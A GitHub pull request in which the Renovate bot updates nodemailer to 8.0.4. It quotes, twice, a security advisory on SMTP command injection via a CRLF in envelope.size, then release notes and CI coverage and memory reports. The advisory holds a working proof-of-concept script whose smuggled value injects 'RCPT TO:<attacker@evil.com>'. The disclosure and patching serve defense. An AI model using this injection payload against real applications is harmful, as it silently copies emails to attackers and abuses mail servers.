Skip to content

fix(deps): update dependency nodemailer to v8.0.4 [security]#17265

Open
renovate[bot] wants to merge 1 commit intodevelopfrom
renovate/npm-nodemailer-vulnerability
Open

fix(deps): update dependency nodemailer to v8.0.4 [security]#17265
renovate[bot] wants to merge 1 commit intodevelopfrom
renovate/npm-nodemailer-vulnerability

Conversation

@renovate
Copy link
Copy Markdown
Contributor

@renovate renovate bot commented Mar 27, 2026

This PR contains the following updates:

Package Change Age Confidence
nodemailer (source) 8.0.28.0.4 age confidence

GitHub Vulnerability Alerts

GHSA-c7w3-x93f-qmm8

Summary

When a custom envelope object is passed to sendMail() with a size property containing CRLF characters (\r\n), the value is concatenated directly into the SMTP MAIL FROM command without sanitization. This allows injection of arbitrary SMTP commands, including RCPT TO — silently adding attacker-controlled recipients to outgoing emails.

Details

In lib/smtp-connection/index.js (lines 1161-1162), the envelope.size value is concatenated into the SMTP MAIL FROM command without any CRLF sanitization:

if (this._envelope.size && this._supportedExtensions.includes('SIZE')) {
    args.push('SIZE=' + this._envelope.size);
}

This contrasts with other envelope parameters in the same function that ARE properly sanitized:

  • Addresses (from, to): validated for [\r\n<>] at lines 1107-1127
  • DSN parameters (dsn.ret, dsn.envid, dsn.orcpt): encoded via encodeXText() at lines 1167-1183

The size property reaches this code path through MimeNode.setEnvelope() in lib/mime-node/index.js (lines 854-858), which copies all non-standard envelope properties verbatim:

const standardFields = ['to', 'cc', 'bcc', 'from'];
Object.keys(envelope).forEach(key => {
    if (!standardFields.includes(key)) {
        this._envelope[key] = envelope[key];
    }
});

Since _sendCommand() writes the command string followed by \r\n to the raw TCP socket, a CRLF in the size value terminates the MAIL FROM command and starts a new SMTP command.

Note: by default, Nodemailer constructs the envelope automatically from the message's from/to fields and does not include size. This vulnerability requires the application to explicitly pass a custom envelope object with a size property to sendMail().
While this limits the attack surface, applications that expose envelope configuration to users are affected.

PoC

ave the following as poc.js and run with node poc.js:

const net = require('net');
const nodemailer = require('nodemailer');

// Minimal SMTP server that logs raw commands
const server = net.createServer(socket => {
    socket.write('220 localhost ESMTP\r\n');
    let buffer = '';
    socket.on('data', chunk => {
        buffer += chunk.toString();
        const lines = buffer.split('\r\n');
        buffer = lines.pop();
        for (const line of lines) {
            if (!line) continue;
            console.log('C:', line);
            if (line.startsWith('EHLO')) {
                socket.write('250-localhost\r\n250-SIZE 10485760\r\n250 OK\r\n');
            } else if (line.startsWith('MAIL FROM')) {
                socket.write('250 OK\r\n');
            } else if (line.startsWith('RCPT TO')) {
                socket.write('250 OK\r\n');
            } else if (line === 'DATA') {
                socket.write('354 Start\r\n');
            } else if (line === '.') {
                socket.write('250 OK\r\n');
            } else if (line.startsWith('QUIT')) {
                socket.write('221 Bye\r\n');
                socket.end();
            }
        }
    });
});

server.listen(0, '127.0.0.1', () => {
    const port = server.address().port;
    console.log('SMTP server on port', port);
    console.log('Sending email with injected RCPT TO...\n');

    const transporter = nodemailer.createTransport({
        host: '127.0.0.1',
        port,
        secure: false,
        tls: { rejectUnauthorized: false },
    });

    transporter.sendMail({
        from: 'sender@example.com',
        to: 'recipient@example.com',
        subject: 'Normal email',
        text: 'This is a normal email.',
        envelope: {
            from: 'sender@example.com',
            to: ['recipient@example.com'],
            size: '100\r\nRCPT TO:<attacker@evil.com>',
        },
    }, (err) => {
        if (err) console.error('Error:', err.message);
        console.log('\nExpected output above:');
        console.log('  C: MAIL FROM:<sender@example.com> SIZE=100');
        console.log('  C: RCPT TO:<attacker@evil.com>        <-- INJECTED');
        console.log('  C: RCPT TO:<recipient@example.com>');
        server.close();
        transporter.close();
    });
});

Expected output:

SMTP server on port 12345
Sending email with injected RCPT TO...

C: EHLO [127.0.0.1]
C: MAIL FROM:<sender@example.com> SIZE=100
C: RCPT TO:<attacker@evil.com>
C: RCPT TO:<recipient@example.com>
C: DATA
...
C: .
C: QUIT

The RCPT TO:<attacker@evil.com> line is injected by the CRLF in the size field, silently adding an extra recipient to the email.

Impact

This is an SMTP command injection vulnerability. An attacker who can influence the envelope.size property in a sendMail() call can:

  • Silently add hidden recipients to outgoing emails via injected RCPT TO commands, receiving copies of all emails sent through the affected transport
  • Inject arbitrary SMTP commands (e.g., RSET, additional MAIL FROM to send entirely separate emails through the server)
  • Leverage the sending organization's SMTP server reputation for spam or phishing delivery

The severity is mitigated by the fact that the envelope object must be explicitly provided by the application. Nodemailer's default envelope construction from message headers does not include size. Applications that pass through user-controlled data to the envelope options (e.g., via API parameters, admin panels, or template configurations) are vulnerable.

Affected versions: at least v8.0.3 (current); likely all versions where envelope.size is supported.


Nodemailer has SMTP command injection due to unsanitized envelope.size parameter

GHSA-c7w3-x93f-qmm8

More information

Details

Summary

When a custom envelope object is passed to sendMail() with a size property containing CRLF characters (\r\n), the value is concatenated directly into the SMTP MAIL FROM command without sanitization. This allows injection of arbitrary SMTP commands, including RCPT TO — silently adding attacker-controlled recipients to outgoing emails.

Details

In lib/smtp-connection/index.js (lines 1161-1162), the envelope.size value is concatenated into the SMTP MAIL FROM command without any CRLF sanitization:

if (this._envelope.size && this._supportedExtensions.includes('SIZE')) {
    args.push('SIZE=' + this._envelope.size);
}

This contrasts with other envelope parameters in the same function that ARE properly sanitized:

  • Addresses (from, to): validated for [\r\n<>] at lines 1107-1127
  • DSN parameters (dsn.ret, dsn.envid, dsn.orcpt): encoded via encodeXText() at lines 1167-1183

The size property reaches this code path through MimeNode.setEnvelope() in lib/mime-node/index.js (lines 854-858), which copies all non-standard envelope properties verbatim:

const standardFields = ['to', 'cc', 'bcc', 'from'];
Object.keys(envelope).forEach(key => {
    if (!standardFields.includes(key)) {
        this._envelope[key] = envelope[key];
    }
});

Since _sendCommand() writes the command string followed by \r\n to the raw TCP socket, a CRLF in the size value terminates the MAIL FROM command and starts a new SMTP command.

Note: by default, Nodemailer constructs the envelope automatically from the message's from/to fields and does not include size. This vulnerability requires the application to explicitly pass a custom envelope object with a size property to sendMail().
While this limits the attack surface, applications that expose envelope configuration to users are affected.

PoC

ave the following as poc.js and run with node poc.js:

const net = require('net');
const nodemailer = require('nodemailer');

// Minimal SMTP server that logs raw commands
const server = net.createServer(socket => {
    socket.write('220 localhost ESMTP\r\n');
    let buffer = '';
    socket.on('data', chunk => {
        buffer += chunk.toString();
        const lines = buffer.split('\r\n');
        buffer = lines.pop();
        for (const line of lines) {
            if (!line) continue;
            console.log('C:', line);
            if (line.startsWith('EHLO')) {
                socket.write('250-localhost\r\n250-SIZE 10485760\r\n250 OK\r\n');
            } else if (line.startsWith('MAIL FROM')) {
                socket.write('250 OK\r\n');
            } else if (line.startsWith('RCPT TO')) {
                socket.write('250 OK\r\n');
            } else if (line === 'DATA') {
                socket.write('354 Start\r\n');
            } else if (line === '.') {
                socket.write('250 OK\r\n');
            } else if (line.startsWith('QUIT')) {
                socket.write('221 Bye\r\n');
                socket.end();
            }
        }
    });
});

server.listen(0, '127.0.0.1', () => {
    const port = server.address().port;
    console.log('SMTP server on port', port);
    console.log('Sending email with injected RCPT TO...\n');

    const transporter = nodemailer.createTransport({
        host: '127.0.0.1',
        port,
        secure: false,
        tls: { rejectUnauthorized: false },
    });

    transporter.sendMail({
        from: 'sender@example.com',
        to: 'recipient@example.com',
        subject: 'Normal email',
        text: 'This is a normal email.',
        envelope: {
            from: 'sender@example.com',
            to: ['recipient@example.com'],
            size: '100\r\nRCPT TO:<attacker@evil.com>',
        },
    }, (err) => {
        if (err) console.error('Error:', err.message);
        console.log('\nExpected output above:');
        console.log('  C: MAIL FROM:<sender@example.com> SIZE=100');
        console.log('  C: RCPT TO:<attacker@evil.com>        <-- INJECTED');
        console.log('  C: RCPT TO:<recipient@example.com>');
        server.close();
        transporter.close();
    });
});

Expected output:

SMTP server on port 12345
Sending email with injected RCPT TO...

C: EHLO [127.0.0.1]
C: MAIL FROM:<sender@example.com> SIZE=100
C: RCPT TO:<attacker@evil.com>
C: RCPT TO:<recipient@example.com>
C: DATA
...
C: .
C: QUIT

The RCPT TO:<attacker@evil.com> line is injected by the CRLF in the size field, silently adding an extra recipient to the email.

Impact

This is an SMTP command injection vulnerability. An attacker who can influence the envelope.size property in a sendMail() call can:

  • Silently add hidden recipients to outgoing emails via injected RCPT TO commands, receiving copies of all emails sent through the affected transport
  • Inject arbitrary SMTP commands (e.g., RSET, additional MAIL FROM to send entirely separate emails through the server)
  • Leverage the sending organization's SMTP server reputation for spam or phishing delivery

The severity is mitigated by the fact that the envelope object must be explicitly provided by the application. Nodemailer's default envelope construction from message headers does not include size. Applications that pass through user-controlled data to the envelope options (e.g., via API parameters, admin panels, or template configurations) are vulnerable.

Affected versions: at least v8.0.3 (current); likely all versions where envelope.size is supported.

Severity

  • CVSS Score: 2.3 / 10 (Low)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Release Notes

nodemailer/nodemailer (nodemailer)

v8.0.4

Compare Source

Bug Fixes
  • sanitize envelope size to prevent SMTP command injection (2d7b971)

v8.0.3

Compare Source

Bug Fixes
  • clean up addressparser and fix group name fallback producing undefined (9d55877)
  • fix cookie bugs, remove dead code, and improve hot-path efficiency (e8c8b92)
  • refactor smtp-connection for clarity and add Node.js 6 syntax compat test (c5b48ea)
  • remove familySupportCache that broke DNS resolution tests (c803d90)

Configuration

📅 Schedule: Branch creation - "" in timezone Asia/Tokyo, Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate renovate bot added the dependencies Pull requests that update a dependency file label Mar 27, 2026
@github-actions github-actions bot added the packages/backend Server side specific issue/PR label Mar 27, 2026
@github-actions
Copy link
Copy Markdown
Contributor

このPRによるapi.jsonの差分
差分はありません。
Get diff files from Workflow Page

@codecov
Copy link
Copy Markdown

codecov bot commented Mar 27, 2026

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 63.52%. Comparing base (9377e94) to head (0a8fd72).
⚠️ Report is 18 commits behind head on develop.

Additional details and impacted files
@@             Coverage Diff             @@
##           develop   #17265      +/-   ##
===========================================
- Coverage    63.57%   63.52%   -0.05%     
===========================================
  Files         1161     1161              
  Lines       116244   116309      +65     
  Branches      8371     8356      -15     
===========================================
- Hits         73900    73885      -15     
- Misses       40159    40238      +79     
- Partials      2185     2186       +1     

☔ View full report in Codecov by Sentry.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:
  • ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.
  • 📦 JS Bundle Analysis: Save yourself from yourself by tracking and limiting bundle sizes in JS merges.

@github-actions
Copy link
Copy Markdown
Contributor

Backend memory usage comparison

Before GC

Metric base (MB) head (MB) Diff (MB) Diff (%)
VmRSS 313.87 MB 335.08 MB +21.21 MB +6.75%
VmHWM 313.87 MB 335.08 MB +21.21 MB +6.75%
VmSize 23108.53 MB 23110.33 MB 1.80 MB 0%
VmData 1377.51 MB 1381.56 MB +4.05 MB +0.29%

After GC

Metric base (MB) head (MB) Diff (MB) Diff (%)
VmRSS 313.87 MB 335.08 MB +21.21 MB +6.75%
VmHWM 313.87 MB 335.08 MB +21.21 MB +6.75%
VmSize 23108.53 MB 23110.33 MB 1.80 MB 0%
VmData 1377.51 MB 1381.56 MB +4.05 MB +0.29%

After Request

Metric base (MB) head (MB) Diff (MB) Diff (%)
VmRSS 314.16 MB 335.44 MB +21.27 MB +6.77%
VmHWM 314.19 MB 335.44 MB +21.24 MB +6.76%
VmSize 23108.61 MB 23110.33 MB 1.72 MB 0%
VmData 1377.59 MB 1381.56 MB +3.97 MB +0.28%

⚠️ Warning: Memory usage has increased by more than 5%. Please verify this is not an unintended change.

See workflow logs for details

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file packages/backend Server side specific issue/PR

Projects

Development

Successfully merging this pull request may close these issues.

0 participants